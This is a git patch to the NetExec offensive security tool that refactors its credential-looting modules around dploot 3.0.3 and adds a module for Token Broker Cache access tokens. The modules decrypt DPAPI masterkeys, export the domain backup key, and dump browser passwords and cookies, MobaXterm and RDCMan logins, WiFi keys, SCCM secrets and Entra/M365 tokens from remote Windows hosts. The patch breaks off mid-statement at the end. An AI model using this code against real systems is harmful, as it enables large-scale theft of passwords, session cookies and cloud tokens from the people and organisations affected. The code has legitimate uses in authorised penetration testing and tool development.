From 0f98d923401a810d17d4ce5997f2985af390844a Mon Sep 17 00:00:00 2001 From: zblurx Date: Fri, 22 Nov 2024 17:18:21 +0100 Subject: [PATCH 1/2] Upgrade dploot to 3.0.3 --- nxc/modules/firefox.py | 35 ++-- nxc/modules/mobaxterm.py | 112 +++--------- nxc/modules/mremoteng.py | 16 +- nxc/modules/rdcman.py | 109 +++--------- nxc/modules/vnc.py | 15 +- nxc/modules/wam.py | 68 ++++++++ nxc/modules/wifi.py | 38 ++--- nxc/protocols/smb.py | 321 +++++++++++++---------------------- nxc/protocols/smb/dpapi.py | 97 +++++++++++ nxc/protocols/smb/firefox.py | 66 +++++-- pyproject.toml | 2 +- tests/e2e_commands.txt | 2 + 12 files changed, 428 insertions(+), 453 deletions(-) create mode 100644 nxc/modules/wam.py create mode 100644 nxc/protocols/smb/dpapi.py diff --git a/nxc/modules/firefox.py b/nxc/modules/firefox.py index 28c96349a..8930c52ee 100644 --- a/nxc/modules/firefox.py +++ b/nxc/modules/firefox.py @@ -1,5 +1,5 @@ from dploot.lib.target import Target -from nxc.protocols.smb.firefox import FirefoxTriage +from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage class NXCModule: @@ -16,10 +16,11 @@ class NXCModule: multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time? def options(self, context, module_options): - """Dump credentials from Firefox""" + """COOKIES Get also Firefox cookies""" + self.gather_cookies = "COOKIES" in module_options def on_admin_login(self, context, connection): - host = connection.hostname + "." + connection.domain + host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain domain = connection.domain username = connection.username kerberos = connection.kerberos @@ -41,19 +42,25 @@ def on_admin_login(self, context, connection): use_kcache=use_kcache, ) + def firefox_callback(secret): + if isinstance(secret, FirefoxData): + url = secret.url + " -" if secret.url != "" else "-" + context.log.highlight(f"[{secret.winuser}] {url} {secret.username}:{secret.password}") + context.db.add_dpapi_secrets( + target.address, + "FIREFOX", + secret.winuser, + secret.username, + secret.password, + secret.url, + ) + elif isinstance(secret, FirefoxCookie): + context.log.highlight(f"[{secret.winuser}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}") + try: # Collect Firefox stored secrets - firefox_triage = FirefoxTriage(target=target, logger=context.log) + firefox_triage = FirefoxTriage(target=target, logger=context.log, per_secret_callback=firefox_callback) firefox_triage.upgrade_connection(connection=connection.conn) - firefox_credentials = firefox_triage.run() - for credential in firefox_credentials: - context.log.highlight( - "[{}][FIREFOX] {} {}:{}".format( - credential.winuser, - credential.url + " -" if credential.url != "" else "-", - credential.username, - credential.password, - ) - ) + firefox_triage.run(gather_cookies=self.gather_cookies) except Exception as e: context.log.debug(f"Error while looting firefox: {e}") diff --git a/nxc/modules/mobaxterm.py b/nxc/modules/mobaxterm.py index 0ce6012d1..de479803f 100644 --- a/nxc/modules/mobaxterm.py +++ b/nxc/modules/mobaxterm.py @@ -1,10 +1,8 @@ -from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file -from dploot.triage.backupkey import BackupkeyTriage from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword from dploot.lib.target import Target -from dploot.lib.smb import DPLootSMBConnection from nxc.helpers.logger import highlight +from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection class NXCModule: @@ -15,99 +13,34 @@ class NXCModule: multiple_hosts = True def options(self, context, module_options): - """ - PVK Domain backup key file - MKFILE File with masterkeys in form of {GUID}:SHA1 - """ - self.pvkbytes = None - self.masterkeys = None - self.conn = None - self.target = None - - if "PVK" in module_options: - self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115 - - if "MKFILE" in module_options: - self.masterkeys = parse_masterkey_file(module_options["MKFILE"]) - self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115 + """ """ def on_admin_login(self, context, connection): - host = connection.hostname + "." + connection.domain - domain = connection.domain username = connection.username - kerberos = connection.kerberos - aesKey = connection.aesKey - use_kcache = getattr(connection, "use_kcache", False) password = getattr(connection, "password", "") - lmhash = getattr(connection, "lmhash", "") nthash = getattr(connection, "nthash", "") - if self.pvkbytes is None: - try: - dc = Target.create( - domain=domain, - username=username, - password=password, - target=domain, - lmhash=lmhash, - nthash=nthash, - do_kerberos=kerberos, - aesKey=aesKey, - no_pass=True, - use_kcache=use_kcache, - ) - - dc_conn = DPLootSMBConnection(dc) - dc_conn.connect() + self.pvkbytes = get_domain_backup_key(connection) - if dc_conn.is_admin: - context.log.success("User is Domain Administrator, exporting domain backupkey...") - backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn) - backupkey = backupkey_triage.triage_backupkey() - self.pvkbytes = backupkey.backupkey_v2 - except Exception as e: - context.log.debug(f"Could not get domain backupkey: {e}") - - self.target = Target.create( - domain=domain, + target = Target.create( + domain=connection.domain, username=username, password=password, - target=host, - lmhash=lmhash, + target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, + lmhash=getattr(connection, "lmhash", ""), nthash=nthash, - do_kerberos=kerberos, - aesKey=aesKey, + do_kerberos=connection.kerberos, + aesKey=connection.aesKey, no_pass=True, - use_kcache=use_kcache, + use_kcache=getattr(connection, "use_kcache", False), ) - - try: - self.conn = DPLootSMBConnection(self.target) - self.conn.smb_session = connection.conn - except Exception as e: - context.log.debug(f"Could not upgrade connection: {e}") + + conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) + if conn is None: + context.log.debug("Could not upgrade connection") return - plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")} - nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")} - if password != "": - plaintexts[username] = password - if nthash != "": - nthashes[username] = nthash - - if self.masterkeys is None: - try: - masterkeys_triage = MasterkeysTriage( - target=self.target, - conn=self.conn, - pvkbytes=self.pvkbytes, - passwords=plaintexts, - nthashes=nthashes, - dpapiSystem={}, - ) - self.masterkeys = masterkeys_triage.triage_masterkeys() - except Exception as e: - context.log.debug(f"Could not get masterkeys: {e}") + self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False) if len(self.masterkeys) == 0: context.log.fail("No masterkeys looted") @@ -115,14 +48,15 @@ def on_admin_login(self, context, connection): context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting MobaXterm secrets") + def mobaxterm_callback(credential): + if isinstance(credential, MobaXtermCredential): + log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1")) + elif isinstance(credential, MobaXtermPassword): + log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1")) + context.log.highlight(f"[{credential.winuser}] {log_text}") + try: triage = MobaXtermTriage(target=self.target, conn=self.conn, masterkeys=self.masterkeys) - _, credentials = triage.triage_mobaxterm() - for credential in credentials: - if isinstance(credential, MobaXtermCredential): - log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1")) - elif isinstance(credential, MobaXtermPassword): - log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1")) - context.log.highlight(f"[{credential.winuser}] {log_text}") + triage.triage_mobaxterm() except Exception as e: context.log.debug(f"Could not loot MobaXterm secrets: {e}") diff --git a/nxc/modules/mremoteng.py b/nxc/modules/mremoteng.py index 968f0c027..875fbb733 100644 --- a/nxc/modules/mremoteng.py +++ b/nxc/modules/mremoteng.py @@ -1,5 +1,4 @@ import ntpath -from dploot.lib.smb import DPLootSMBConnection from dploot.lib.target import Target from Cryptodome.Cipher import AES from lxml import objectify @@ -7,6 +6,8 @@ import hashlib from dataclasses import dataclass +from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection + @dataclass class MRemoteNgEncryptionAttributes: @@ -94,7 +95,10 @@ def on_admin_login(self, context, connection): use_kcache=use_kcache, ) - dploot_conn = self.upgrade_connection(target=target, connection=connection.conn) + dploot_conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) + if dploot_conn is None: + context.log.debug("Could not upgrade connection") + return # 2. Dump users list users = self.get_users(dploot_conn) @@ -116,14 +120,6 @@ def on_admin_login(self, context, connection): if content is not None: self.context.log.info(f"Found confCons.xml file: {self.custom_path}") self.handle_confCons_file(content) - - def upgrade_connection(self, target: Target, connection=None): - conn = DPLootSMBConnection(target) - if connection is not None: - conn.smb_session = connection - else: - conn.connect() - return conn def get_users(self, conn): users = [] diff --git a/nxc/modules/rdcman.py b/nxc/modules/rdcman.py index c17de1f0c..597a45d33 100644 --- a/nxc/modules/rdcman.py +++ b/nxc/modules/rdcman.py @@ -1,10 +1,8 @@ -from dploot.triage.rdg import RDGTriage -from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file -from dploot.triage.backupkey import BackupkeyTriage +from dploot.triage.rdg import RDGTriage, RDGServerProfile from dploot.lib.target import Target -from dploot.lib.smb import DPLootSMBConnection from nxc.helpers.logger import highlight +from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection class NXCModule: @@ -15,99 +13,34 @@ class NXCModule: multiple_hosts = True def options(self, context, module_options): - """ - PVK Domain backup key file - MKFILE File with masterkeys in form of {GUID}:SHA1 - """ - self.pvkbytes = None - self.masterkeys = None - - if "PVK" in module_options: - self.pvkbytes = open(module_options["PVK"], "rb").read() # noqa: SIM115 - - if "MKFILE" in module_options: - self.masterkeys = parse_masterkey_file(module_options["MKFILE"]) - self.pvkbytes = open(module_options["MKFILE"], "rb").read() # noqa: SIM115 + """ """ def on_admin_login(self, context, connection): - host = connection.hostname + "." + connection.domain - domain = connection.domain username = connection.username - kerberos = connection.kerberos - aesKey = connection.aesKey - use_kcache = getattr(connection, "use_kcache", False) password = getattr(connection, "password", "") - lmhash = getattr(connection, "lmhash", "") nthash = getattr(connection, "nthash", "") - if self.pvkbytes is None: - try: - dc = Target.create( - domain=domain, - username=username, - password=password, - target=domain, - lmhash=lmhash, - nthash=nthash, - do_kerberos=kerberos, - aesKey=aesKey, - no_pass=True, - use_kcache=use_kcache, - ) - - dc_conn = DPLootSMBConnection(dc) - dc_conn.connect() - - if dc_conn.is_admin: - context.log.success("User is Domain Administrator, exporting domain backupkey...") - backupkey_triage = BackupkeyTriage(target=dc, conn=dc_conn) - backupkey = backupkey_triage.triage_backupkey() - self.pvkbytes = backupkey.backupkey_v2 - except Exception as e: - context.log.debug(f"Could not get domain backupkey: {e}") + self.pvkbytes = get_domain_backup_key(connection) target = Target.create( - domain=domain, + domain=connection.domain, username=username, password=password, - target=host, - lmhash=lmhash, + target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, + lmhash=getattr(connection, "lmhash", ""), nthash=nthash, - do_kerberos=kerberos, - aesKey=aesKey, + do_kerberos=connection.kerberos, + aesKey=connection.aesKey, no_pass=True, - use_kcache=use_kcache, + use_kcache=getattr(connection, "use_kcache", False), ) - - conn = None - - try: - conn = DPLootSMBConnection(target) - conn.smb_session = connection.conn - except Exception as e: - context.log.debug(f"Could not upgrade connection: {e}") + + conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) + if conn is None: + context.log.debug("Could not upgrade connection") return - plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")} - nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")} - if password != "": - plaintexts[username] = password - if nthash != "": - nthashes[username] = nthash - - if self.masterkeys is None: - try: - masterkeys_triage = MasterkeysTriage( - target=target, - conn=conn, - pvkbytes=self.pvkbytes, - passwords=plaintexts, - nthashes=nthashes, - dpapiSystem={}, - ) - self.masterkeys = masterkeys_triage.triage_masterkeys() - except Exception as e: - context.log.debug(f"Could not get masterkeys: {e}") + self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False) if len(self.masterkeys) == 0: context.log.fail("No masterkeys looted") @@ -122,17 +55,17 @@ def on_admin_login(self, context, connection): if rdcman_file is None: continue for rdg_cred in rdcman_file.rdg_creds: - if rdg_cred.type in ["cred", "logon", "server"]: - log_text = "{} - {}:{}".format(rdg_cred.server_name, rdg_cred.username, rdg_cred.password.decode("latin-1")) if rdg_cred.type == "server" else "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1")) + log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}" + if isinstance(rdg_cred, RDGServerProfile): + log_text = f"{rdg_cred.server_name} - {log_text}" context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}") - for rdgfile in rdgfiles: if rdgfile is None: continue for rdg_cred in rdgfile.rdg_creds: - log_text = "{}:{}".format(rdg_cred.username, rdg_cred.password.decode("latin-1")) - if rdg_cred.type == "server": + log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}" + if isinstance(rdg_cred, RDGServerProfile): log_text = f"{rdg_cred.server_name} - {log_text}" - context.log.highlight(f"[{rdgfile.winuser}][{rdg_cred.profile_name}] {log_text}") + context.log.highlight(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}") except Exception as e: context.log.debug(f"Could not loot RDCMan secrets: {e}") diff --git a/nxc/modules/vnc.py b/nxc/modules/vnc.py index d873f0997..6aa30f9a5 100644 --- a/nxc/modules/vnc.py +++ b/nxc/modules/vnc.py @@ -1,6 +1,5 @@ import ntpath import tempfile -from dploot.lib.smb import DPLootSMBConnection from dploot.lib.target import Target from impacket.dcerpc.v5 import rrp @@ -13,6 +12,8 @@ import codecs import re +from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection + class NXCModule: """ @@ -51,7 +52,7 @@ def on_admin_login(self, context, connection): self.connection = connection self.share = self.connection.args.share - host = connection.hostname + "." + connection.domain + host = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain domain = connection.domain username = connection.username kerberos = connection.kerberos @@ -73,7 +74,7 @@ def on_admin_login(self, context, connection): use_kcache=use_kcache, ) - dploot_conn = self.upgrade_connection(target=target, connection=connection.conn) + dploot_conn = upgrade_to_dploot_connection(target=target, connection=connection.conn) if not self.no_remoteops: remote_ops = RemoteOperations(connection.conn, False) remote_ops.enableRegistry() @@ -81,14 +82,6 @@ def on_admin_login(self, context, connection): self.vnc_client_proxyconf_extract(dploot_conn, remote_ops) self.vnc_from_filesystem(dploot_conn) - def upgrade_connection(self, target: Target, connection=None): - conn = DPLootSMBConnection(target) - if connection is not None: - conn.smb_session = connection - else: - conn.connect() - return conn - def reg_query_value(self, remote_ops, path, key, hku=False): if remote_ops._RemoteOperations__rrp: ans = rrp.hOpenUsers(remote_ops._RemoteOperations__rrp) if hku else rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp) diff --git a/nxc/modules/wam.py b/nxc/modules/wam.py new file mode 100644 index 000000000..ef896b5d3 --- /dev/null +++ b/nxc/modules/wam.py @@ -0,0 +1,68 @@ +import re +import jwt +from dploot.triage.wam import WamTriage +from dploot.lib.target import Target + +from nxc.helpers.logger import highlight +from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection + + +class NXCModule: + name = "wam" + description = "Dump access token from Token Broker Cache. More info here https://blog.xpnsec.com/wam-bam/. Module by zblurx" + supported_protocols = ["smb"] + opsec_safe = True + multiple_hosts = True + + def options(self, context, module_options): + """ """ + + def on_admin_login(self, context, connection): + username = connection.username + password = getattr(connection, "password", "") + nthash = getattr(connection, "nthash", "") + + self.pvkbytes = get_domain_backup_key(connection) + + + target = Target.create( + domain=connection.domain, + username=username, + password=password, + target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, + lmhash=getattr(connection, "lmhash", ""), + nthash=nthash, + do_kerberos=connection.kerberos, + aesKey=connection.aesKey, + no_pass=True, + use_kcache=getattr(connection, "use_kcache", False), + ) + + conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) + if conn is None: + context.log.debug("Could not upgrade connection") + return + + self.masterkeys = collect_masterkeys_from_target(connection, target, conn, system=False) + + if len(self.masterkeys) == 0: + context.log.fail("No masterkeys looted") + return + + context.log.success(f"Got {highlight(len(self.masterkeys))} decrypted masterkeys. Looting Token Broker Cache access tokens") + + def token_callback(token): + for attrib in token.attribs: + if attrib["Key"].decode() == "WTRes_Token": + # Extract every access token + for access_token in re.findall(r"e[yw][A-Za-z0-9-_]+\.(?:e[yw][A-Za-z0-9-_]+)?\.[A-Za-z0-9-_]{2,}(?:(?:\.[A-Za-z0-9-_]{2,}){2})?", attrib.__str__()): + decoded_token = jwt.decode(access_token, options={"verify_signature": False}) + if "preferred_username" in decoded_token: + # Assuming that if there is no preferred_username key, this is not a valid Entra/M365 Access Token + context.log.highlight(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}") + + try: + triage = WamTriage(target=target, conn=conn, masterkeys=self.masterkeys, per_token_callback=token_callback) + triage.triage_wam() + except Exception as e: + context.log.debug(f"Could not loot access tokens: {e}") diff --git a/nxc/modules/wifi.py b/nxc/modules/wifi.py index 73c3ad1e6..55f9cd187 100644 --- a/nxc/modules/wifi.py +++ b/nxc/modules/wifi.py @@ -1,9 +1,8 @@ -from dploot.triage.masterkeys import MasterkeysTriage from dploot.lib.target import Target -from dploot.lib.smb import DPLootSMBConnection from dploot.triage.wifi import WifiTriage from nxc.helpers.logger import highlight +from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, upgrade_to_dploot_connection class NXCModule: @@ -17,44 +16,29 @@ def options(self, context, module_options): """ """ def on_admin_login(self, context, connection): - host = connection.hostname + "." + connection.domain - domain = connection.domain username = connection.username - kerberos = connection.kerberos - aesKey = connection.aesKey - use_kcache = getattr(connection, "use_kcache", False) password = getattr(connection, "password", "") - lmhash = getattr(connection, "lmhash", "") nthash = getattr(connection, "nthash", "") target = Target.create( - domain=domain, + domain=connection.domain, username=username, password=password, - target=host, - lmhash=lmhash, + target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain, + lmhash=getattr(connection, "lmhash", ""), nthash=nthash, - do_kerberos=kerberos, - aesKey=aesKey, + do_kerberos=connection.kerberos, + aesKey=connection.aesKey, no_pass=True, - use_kcache=use_kcache, + use_kcache=getattr(connection, "use_kcache", False), ) - conn = None - - try: - conn = DPLootSMBConnection(target) - conn.smb_session = connection.conn - except Exception as e: - context.log.debug(f"Could not upgrade connection: {e}") + conn = upgrade_to_dploot_connection(connection=connection.conn, target=target) + if conn is None: + context.log.debug("Could not upgrade connection") return - masterkeys = [] - try: - masterkeys_triage = MasterkeysTriage(target=target, conn=conn, dpapiSystem={}) - masterkeys += masterkeys_triage.triage_system_masterkeys() - except Exception as e: - context.log.debug(f"Could not get masterkeys: {e}") + masterkeys = collect_masterkeys_from_target(connection, target, conn, user=False) if len(masterkeys) == 0: context.log.fail("No masterkeys looted") diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 0f27f80ae..678bf9fd3 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -33,7 +33,8 @@ from nxc.connection import connection, sem, requires_admin, dcom_FirewallChecker from nxc.helpers.misc import gen_random_string, validate_ntlm from nxc.logger import NXCAdapter -from nxc.protocols.smb.firefox import FirefoxTriage +from nxc.protocols.smb.dpapi import collect_masterkeys_from_target, get_domain_backup_key, upgrade_to_dploot_connection +from nxc.protocols.smb.firefox import FirefoxCookie, FirefoxData, FirefoxTriage from nxc.protocols.smb.kerberos import kerberos_login_with_S4U from nxc.servers.smb import NXCSMBServer from nxc.protocols.smb.wmiexec import WMIEXEC @@ -50,13 +51,10 @@ from nxc.helpers.powershell import create_ps_command from dploot.triage.vaults import VaultsTriage -from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken +from dploot.triage.browser import BrowserTriage, LoginData, GoogleRefreshToken, Cookie from dploot.triage.credentials import CredentialsTriage -from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file -from dploot.triage.backupkey import BackupkeyTriage from dploot.lib.target import Target -from dploot.lib.smb import DPLootSMBConnection -from dploot.triage.sccm import SCCMTriage +from dploot.triage.sccm import SCCMTriage, SCCMCred, SCCMSecret, SCCMCollection from pywerview.cli.helpers import get_localdisks, get_netsession, get_netgroupmember, get_netgroup, get_netcomputer, get_netloggedon, get_netlocalgroup @@ -1586,13 +1584,6 @@ def add_sam_hash(sam_hash, host_id): @requires_admin def sccm(self): - masterkeys = [] - if self.args.mkfile is not None: - try: - masterkeys += parse_masterkey_file(self.args.mkfile) - except Exception as e: - self.logger.fail(str(e)) - target = Target.create( domain=self.domain, username=self.username, @@ -1606,39 +1597,56 @@ def sccm(self): use_kcache=self.use_kcache, ) - try: - conn = DPLootSMBConnection(target) - conn.smb_session = self.conn - except Exception as e: - self.logger.debug(f"Could not upgrade connection: {e}") + conn = upgrade_to_dploot_connection(connection=self.conn, target=target) + if conn is None: + self.logger.debug("Could not upgrade connection") return - try: - self.logger.display("Collecting Machine masterkeys, grab a coffee and be patient...") - masterkeys_triage = MasterkeysTriage( - target=target, - conn=conn, - dpapiSystem={}, - ) - masterkeys += masterkeys_triage.triage_system_masterkeys() - except Exception as e: - self.logger.debug(f"Could not get masterkeys: {e}") + masterkeys = collect_masterkeys_from_target(self, target, conn, user=False) if len(masterkeys) == 0: self.logger.fail("No masterkeys looted") return self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting SCCM Credentials through {self.args.sccm}") + + def sccm_callback(secret): + if isinstance(secret, SCCMCred): + tag = "NAA Account" + self.logger.highlight(f"[{tag}] {secret.username.decode('latin-1')}:{secret.password.decode('latin-1')}") + self.db.add_dpapi_secrets( + target.address, + f"SCCM - {tag}", + "SYSTEM", + secret.username.decode("latin-1"), + secret.password.decode("latin-1"), + "N/A", + ) + elif isinstance(secret, SCCMSecret): + tag = "Task sequences secret" + self.logger.highlight(f"[{tag}] {secret.secret.decode('latin-1')}") + self.db.add_dpapi_secrets( + target.address, + f"SCCM - {tag}", + "SYSTEM", + "N/A", + secret.secret.decode("latin-1"), + "N/A", + ) + elif isinstance(secret, SCCMCollection): + tag = "Collection Variable" + self.logger.highlight(f"[{tag}] {secret.variable.decode('latin-1')}:{secret.value.decode('latin-1')}") + self.db.add_dpapi_secrets( + target.address, + f"SCCM - {tag}", + "SYSTEM", + secret.variable.decode("latin-1"), + secret.value.decode("latin-1"), + "N/A", + ) try: - # Collect Chrome Based Browser stored secrets - sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys, use_wmi=self.args.sccm == "wmi") - sccmcreds, sccmtasks, sccmcollections = sccm_triage.triage_sccm() - for sccmcred in sccmcreds: - self.logger.highlight(f"[NAA Account] {sccmcred.username.decode('latin-1')}:{sccmcred.password.decode('latin-1')}") - for sccmtask in sccmtasks: - self.logger.highlight(f"[Task sequences secret] {sccmtask.secret.decode('latin-1')}") - for sccmcollection in sccmcollections: - self.logger.highlight(f"[Collection Variable] {sccmcollection.variable.decode('latin-1')}:{sccmcollection.value.decode('latin-1')}") + sccm_triage = SCCMTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=sccm_callback) + sccm_triage.triage_sccm(use_wmi=self.args.sccm == "wmi", ) except Exception as e: self.logger.debug(f"Error while looting sccm: {e}") @@ -1653,57 +1661,14 @@ def dpapi(self): except Exception as e: self.logger.fail(str(e)) - masterkeys = [] - if self.args.mkfile is not None: - try: - masterkeys += parse_masterkey_file(self.args.mkfile) - except Exception as e: - self.logger.fail(str(e)) - - if self.pvkbytes is None and self.no_da is None and self.args.local_auth is False: - try: - results = self.db.get_domain_backupkey(self.domain) - except Exception: - self.logger.fail( - "Your version of nxcdb is not up to date, run nxcdb and create a new workspace: \ - 'workspace create dpapi' then re-run the dpapi option" - ) - return False - if len(results) > 0: - self.logger.success("Loading domain backupkey from nxcdb...") - self.pvkbytes = results[0][2] - else: - try: - dc_target = Target.create( - domain=self.domain, - username=self.username, - password=self.password, - target=self.domain, # querying DNS server for domain will return DC - lmhash=self.lmhash, - nthash=self.nthash, - do_kerberos=self.kerberos, - aesKey=self.aesKey, - no_pass=True, - use_kcache=self.use_kcache, - ) - dc_conn = DPLootSMBConnection(dc_target) - dc_conn.connect() # Connect to DC - if dc_conn.is_admin(): - self.logger.success("User is Domain Administrator, exporting domain backupkey...") - backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn) - backupkey = backupkey_triage.triage_backupkey() - self.pvkbytes = backupkey.backupkey_v2 - self.db.add_domain_backupkey(self.domain, self.pvkbytes) - else: - self.no_da = False - except Exception as e: - self.logger.fail(f"Could not get domain backupkey: {e}") + if self.pvkbytes is None: + self.pvkbytes = get_domain_backup_key(self) target = Target.create( domain=self.domain, username=self.username, password=self.password, - target=self.hostname + "." + self.domain if self.kerberos else self.host, + target=f"{self.hostname}.{self.domain}" if self.kerberos else self.host, lmhash=self.lmhash, nthash=self.nthash, do_kerberos=self.kerberos, @@ -1712,161 +1677,117 @@ def dpapi(self): use_kcache=self.use_kcache, ) - try: - conn = DPLootSMBConnection(target) - conn.smb_session = self.conn - except Exception as e: - self.logger.debug(f"Could not upgrade connection: {e}") - return None - - plaintexts = {username: password for _, _, username, password, _, _ in self.db.get_credentials(cred_type="plaintext")} - nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in self.db.get_credentials(cred_type="hash")} - if self.password != "": - plaintexts[self.username] = self.password - if self.nthash != "": - nthashes[self.username] = self.nthash + conn = upgrade_to_dploot_connection(connection=self.conn, target=target) + if conn is None: + self.logger.debug("Could not upgrade connection") + return - # Collect User and Machine masterkeys - try: - self.logger.display("Collecting User and Machine masterkeys, grab a coffee and be patient...") - masterkeys_triage = MasterkeysTriage( - target=target, - conn=conn, - pvkbytes=self.pvkbytes, - passwords=plaintexts, - nthashes=nthashes, - dpapiSystem={}, - ) - self.logger.debug(f"Masterkeys Triage: {masterkeys_triage}") - masterkeys += masterkeys_triage.triage_masterkeys() - if dump_system: - masterkeys += masterkeys_triage.triage_system_masterkeys() - except Exception as e: - self.logger.debug(f"Could not get masterkeys: {e}") + masterkeys = collect_masterkeys_from_target(self, target, conn, system=dump_system) if len(masterkeys) == 0: self.logger.fail("No masterkeys looted") - return None + return self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...") - credentials = [] - system_credentials = [] - try: - # Collect User and Machine Credentials Manager secrets - credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=masterkeys) - self.logger.debug(f"Credentials Triage Object: {credentials_triage}") - credentials = credentials_triage.triage_credentials() - self.logger.debug(f"Triaged Credentials: {credentials}") - if dump_system: - system_credentials = credentials_triage.triage_system_credentials() - self.logger.debug(f"Triaged System Credentials: {system_credentials}") - except Exception as e: - self.logger.debug(f"Error while looting credentials: {e}") - - for credential in credentials: - self.logger.highlight(f"[{credential.winuser}][CREDENTIAL] {credential.target} - {credential.username}:{credential.password}") + # Collect User and Machine Credentials Manager secrets + def credential_callback(credential): + tag = "CREDENTIAL" + self.logger.highlight(f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}") self.db.add_dpapi_secrets( target.address, - "CREDENTIAL", + tag, credential.winuser, credential.username, credential.password, credential.target, ) - for credential in system_credentials: - self.logger.highlight(f"[SYSTEM][CREDENTIAL] {credential.target} - {credential.username}:{credential.password}") - self.db.add_dpapi_secrets( - target.address, - "CREDENTIAL", - "SYSTEM", - credential.username, - credential.password, - credential.target, - ) - browser_credentials = [] - cookies = [] try: - # Collect Chrome Based Browser stored secrets - dump_cookies = "cookies" in self.args.dpapi - browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys) - browser_credentials, cookies = browser_triage.triage_browsers(gather_cookies=dump_cookies) + credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=masterkeys, per_credential_callback=credential_callback) + self.logger.debug(f"Credentials Triage Object: {credentials_triage}") + credentials_triage.triage_credentials() + if dump_system: + credentials_triage.triage_system_credentials() except Exception as e: - self.logger.debug(f"Error while looting browsers: {e}") - for credential in browser_credentials: - if isinstance(credential, LoginData): - cred_url = credential.url + " -" if credential.url != "" else "-" - self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] {cred_url} {credential.username}:{credential.password}") + self.logger.debug(f"Error while looting credentials: {e}") + + dump_cookies = "cookies" in self.args.dpapi + + # Collect Chrome Based Browser stored secrets + def browser_callback(secret): + if isinstance(secret, LoginData): + secret_url = secret.url + " -" if secret.url != "" else "-" + self.logger.highlight(f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}") self.db.add_dpapi_secrets( target.address, - credential.browser.upper(), - credential.winuser, - credential.username, - credential.password, - credential.url, + secret.browser.upper(), + secret.winuser, + secret.username, + secret.password, + secret.url, ) - elif isinstance(credential, GoogleRefreshToken): - self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] Google Refresh Token: {credential.service}:{credential.token}") + elif isinstance(secret, GoogleRefreshToken): + self.logger.highlight(f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}") self.db.add_dpapi_secrets( target.address, - credential.browser.upper(), - credential.winuser, - credential.service, - credential.token, + secret.browser.upper(), + secret.winuser, + secret.service, + secret.token, "Google Refresh Token", ) + elif isinstance(secret, Cookie): + self.logger.highlight(f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}") - if dump_cookies and cookies: - self.logger.display("Start Dumping Cookies") - for cookie in cookies: - if cookie.cookie_value != "": - self.logger.highlight(f"[{cookie.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}") - self.logger.display("End Dumping Cookies") - elif dump_cookies: - self.logger.fail("No cookies found") + try: + browser_triage = 